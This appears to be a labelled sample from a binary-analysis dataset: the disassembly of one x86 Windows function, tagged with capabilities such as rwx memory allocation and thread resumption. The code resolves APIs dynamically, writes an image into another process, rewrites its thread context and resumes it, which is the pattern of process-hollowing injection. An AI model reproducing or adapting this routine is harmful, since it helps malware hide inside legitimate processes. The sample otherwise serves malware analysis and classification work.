Function at 0x40f710
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
mov eax, dword [0x412050]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push 0x402c0c
push 0x402c1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x35c], eax
push 0x402c2c
push 0x402c40
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0xc], eax
push 0x402c50
push 0x402c60
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x18], eax
push 0x402c70
push 0x402c84
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 4], eax
push 0x402c94
push 0x402ca8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x14], eax
push 0x402cb8
push 0x402ccc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x304], eax
push 0x402cdc
push 0x402cec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x10], eax
push 0x402cfc
push 0x402d14
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x358], 0
push 0x40
push 0
lea eax, [ebp - 0x354]
push eax
call fcn.00403880
add esp, 0xc
mov ecx, 1
test ecx, ecx
je 0x40fa42
mov edx, dword [ebp + 0x20]
push edx
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
lea edx, [ebp - 0x300]
push edx
call fcn.0040f280
add esp, 0x10
test eax, eax
je 0x40fa42
mov dword [ebp - 0x360], 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x1c]
cmp ecx, dword [ebp - 0x30c]
jne 0x40f89e
mov edx, dword [ebp + 0x1c]
cmp edx, dword [ebp - 0x308]
ja 0x40f89e
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x360], eax
lea ecx, [ebp - 0x364]
push ecx
push 0x40
mov edx, dword [ebp - 0x308]
push edx
mov eax, dword [ebp - 0x30c]
push eax
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 4]
jmp 0x40f8d5
mov edx, dword [ebp - 0x30c]
push edx
mov eax, dword [ebp - 0x300]
push eax
call dword [ebp - 8]
test eax, eax
jne 0x40f8d5
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 0x18]
mov dword [ebp - 0x360], eax
mov edx, 1
test edx, edx
je 0x40f949
cmp dword [ebp - 0x360], 0
jne 0x40f949
mov eax, dword [ebp + 0x10]
push eax
call fcn.0040f250
add esp, 4
test eax, eax
je 0x40f949
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x1c]
push ecx
push 0
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0x18]
mov dword [ebp - 0x360], eax
mov eax, 1
test eax, eax
je 0x40f949
cmp dword [ebp - 0x360], 0
je 0x40f949
mov ecx, dword [ebp - 0x360]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040f3d0
add esp, 0x18
cmp dword [ebp - 0x360], 0
je 0x40fa36
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x36c], ecx
lea edx, [ebp - 0x370]
push edx
push 4
lea eax, [ebp - 0x360]
push eax
mov ecx, dword [ebp - 0x36c]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 0x18]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x368]
mov edx, dword [ebp - 0x360]
mov dword [ecx + 0x1c], edx
push 0
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x300]
push eax
call dword [ebp - 0xc]
test eax, eax
je 0x40fa28
mov dword [ebp - 0x2f0], 0x10007
mov ecx, dword [ebp - 0x360]
cmp ecx, dword [ebp - 0x30c]
jne 0x40f9f3
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 0x1c]
mov ecx, dword [ebp + 0x10]
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x240], eax
jmp 0x40fa05
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x360]
add eax, dword [edx + 0x10]
mov dword [ebp - 0x240], eax
lea ecx, [ebp - 0x2f0]
push ecx
mov edx, dword [ebp - 0x2fc]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x2fc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40fa34
push 0
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 0x14]
jmp 0x40fa42
push 0
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00402ff9
mov esp, ebp
pop ebp
ret